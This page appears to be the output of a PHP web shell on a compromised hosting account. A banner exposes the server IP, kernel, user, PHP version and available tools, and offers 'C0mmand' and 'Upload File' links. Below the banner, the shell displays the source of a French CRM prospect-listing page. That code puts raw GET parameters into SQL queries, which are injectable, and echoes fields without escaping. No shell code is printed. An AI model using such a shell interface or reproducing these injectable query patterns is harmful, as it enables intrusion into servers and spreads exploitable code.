|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/MCPRO/../MCPRO/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'code/init.php';
print_header ('', '', $BodyX );
$agence=$_SESSION['agence'];
?>
<script language="Javascript">
function GetIdBureau()
{
var idbursel="";
idbureausel = document.bureau_form.client_bureau.value ;
if( idbureausel > 0 || idbureausel=="INDEFINI" )
window.location = "prosp.php?idbureausel="+idbureausel;
else
window.location = "prosp.php";
}
</script>
<form action="prosp.php" method="get" style="margin-top:10px">
<?php
if($_GET['client_actif']=='on' || $_GET['client_actif']=='off' ) $_SESSION['client_actif']=$_GET['client_actif'];
$where1="";
$where2="";
$selected="";
if($_GET['idbureausel'] && !empty($_GET['idbureausel']) )
{
if($_GET['idbureausel']>0)
{
$idbureausel=$_GET['idbureausel'];
$tabbursel=dbi_fetch_row((dbi_query('select * from bureau where id_bureau='.$_GET['idbureausel'].' and agence_id='.$agence.''))) ;
$id_bureau=$tabbursel['id_bureau'];
$nom_bureau=$tabbursel['nom_agence'];
$where1=" AND ID_Bureau != $id_bureau ";
$where2=" AND client_bureau = $id_bureau ";
}
elseif($_GET['idbureausel']=="INDEFINI")
{
$id_bureau=$_GET['idbureausel'];
$where2=" AND client_bureau='0' ";
$selected='selected="selected"';
}
}
?>
<br><input type="radio" Onclick="submit()" value="on" name="client_actif" <?=($_SESSION['client_actif'] == 'on' || !isset($_SESSION['client_actif'])) ? 'checked' : ''?> >Prospect actifs
<input type="radio" Onclick="submit()" value="off" name="client_actif" <?=$_SESSION['client_actif'] == 'off' ? 'checked' : '' ?>>Tous
</form>
<?php
if(!empty($_SESSION['admin'])){
?>
<table style="position:absolute; top:35px; right:20px;">
<form id="bureau_form" name="bureau_form" method="POST" action="prosp.php">
<tr>
<td align="left" valign="top" class="td_listing0" >Bureau :</td>
<td align="left" valign="top" class="td_listing0">
<select id="client_bureau" name="client_bureau" onchange="GetIdBureau()";>
<option selected="selected" value=""> TOUS </option>
<?php if(isset($id_bureau) && isset($nom_bureau)) { ?>
<option selected="selected" value="<?=$id_bureau ?>"><?=$nom_bureau?></option>
<?php } ?>
<?php
$Reqbureau=dbi_query("select * from bureau where agence_id=$agence $where1") or die(mysql_error());
while($listbureau=dbi_fetch_row($Reqbureau)){ ?>
<option value="<?php echo $listbureau['id_bureau']?>"><?php echo $listbureau['nom_agence'] ?></option>
<?php } ?>
<option <?=$selected ?> value="INDEFINI">INDEFINI</option>
</select>
</td>
</tr>
</form>
</table>
<br/>
<br/>
<?php }
elseif($bureau)
{
$where2=" AND client_bureau = $bureau ";
}
if (empty($_GET['val']) || !isset($_GET['col']))
{
$_GET['col'] = -1 ;
$_GET['val'] = '' ;
}
error_reporting(E_ALL|E_STRICT) ;
$cols = array('client_nom', 'client_cp', 'client_ville', -1 => '', -2 => 'client_nom') ;
$soundex = array (1, 0, 1, -1 => 2, -2 => 3) ;
$tel = array('client_teldom', 'client_teldom', 'client_telport1', 'client_telpro') ;
$s = '$s' ;
$queries = array("(SELECT *, 1 AS exact, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." WHERE %s = '%s' AND client_genre NOT LIKE 'FORMATION' $where2 AND agence_id=$agence%3\$s ".( isset($_SESSION['client_actif'])&&$_SESSION['client_actif']=='off' ? "" : " AND client_actif='0' ").") UNION (SELECT *, 0 AS exact, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." WHERE %1\$s LIKE '%%%2$\s%%' AND %1\$s != '%2\$s' AND client_genre NOT LIKE 'FORMATION' $where2 AND agence_id=$agence%3\$s ".( isset($_SESSION['client_actif'])&&$_SESSION['client_actif']=='off' ? "" : " AND client_actif='0' ").")", "(SELECT *, 1 AS exact, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." WHERE %s = '%s' AND client_genre NOT LIKE 'FORMATION' $where2 AND agence_id=$agence%3\$s ".( isset($_SESSION['client_actif'])&&$_SESSION['client_actif']=='off' ? "" : " AND client_actif='0' ").") UNION (SELECT *, 0 AS exact, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." WHERE (%1\$s LIKE '%%%2\$s%%' OR soundex(%1\$s) = soundex('%2\$s')) AND %1\$s != '%2\$s' AND client_genre NOT LIKE 'FORMATION' AND agence_id=$agence%3\$s ".( isset($_SESSION['client_actif'])&&$_SESSION['client_actif']=='off' ? "" : " AND client_actif='0' ")." )", "SELECT *, 1 AS exact, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." WHERE agence_id=$agence%3\$s AND client_genre NOT LIKE 'FORMATION' $where2 ".( isset($_SESSION['client_actif'])&&$_SESSION['client_actif']=='off' ? "" : " AND client_actif='0' "), "SELECT *, 1 AS exact, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." WHERE %1\$s LIKE '%2\$s%%' AND client_genre NOT LIKE 'FORMATION' AND agence_id=$agence%3\$s $where2".( isset($_SESSION['client_actif'])&&$_SESSION['client_actif']=='off' ? "" : " AND client_actif='0' ")." ") ;
$tri="client_id, client_nom, client_adr1, exact";
$ordre='desc';
if(!empty($_GET['tri']) && !empty($_GET['ordre']))
{
$tri='client_'.$_GET['tri'].' '.$_GET['ordre'];
if($_GET['ordre']=='asc')
$ordre='desc';
else
$ordre='asc';
}
else
{
$tri=" client_nom asc ";
}
// $q = dbi_query(sprintf($queries[$soundex[$_GET['col']]],$cols[$_GET['col']] , $_GET['val'], !empty($_GET['zone']) ? ' AND client_zones_id REGEXP "['.join('', $_GET['zone']).']"' : '').' ORDER BY '.'client_prospect asc,'.' '.$tri.'') ;
$q = dbi_query(" SELECT * FROM `prospect`") ;
$nombre=0;
?>
<div id="tab">
<TABLE width=100%>
<thead>
<TR>
<th ><A href="a.php?tri=nom&ordre=<?php echo $ordre?>"style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;" >SOCIETE</A><SPAN class="sort">↑</SPAN></th>
<th ><A href="#" style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;" >CP</A></th>
<th ><A href="#" style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;" >Date de la demande
</A></th>
<th ><A href="#" style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;" >DATE DU RENDEZ-VOUS
</A></th>
<th nowrap><A href="a.php?tri=id&ordre=<?php echo $ordre?>" style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;" >Montant du devis
</A></th>
<th ><A href="#" style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;" >INFORMATIONS</A></th>
</TR>
</thead>
<tbody>
<?
$compteur=0;
$previous=1;
$serena=0;
$prospect=0;
while($c = dbi_fetch_row($q)) {
// echo "rrrr <br/>" ;
// echo "==> ".$c['prospe_nom']."<br/>" ;
if($c['prospect_statut']== '1'){
?>
<TR>
<TD><A href="top.php?link=client_PROS&page=aaa_PROS&id=<?=$c['prospe_id']?>" target="ident"><?=$c['prospe_nom']?></A></TD>
<TD><?=$c['prospe_cp']?></TD>
<TD nowrap><?=int2date($c['prospect_date_demande']) ?></TD>
<TD nowrap><?=int2date($c['prospect_date_rdv']) ?></TD>
<TD><?=$c['prospect_devis_montant']?></TD>
<TD nowrap width="20" ><?=$c['prospect_information'] ?></A></TD>
</TR>
<?
$compteur++;
// $previous=$c['exact'];
// $serenap=$c['serena'];
// $formationp=$c['formation'];
$prospectp=$c['prospect_statut'];
$nombre++;
}
} ?>
<?php
?>
</tbody>
</table>
</div>
<br/>
</body>
</html>
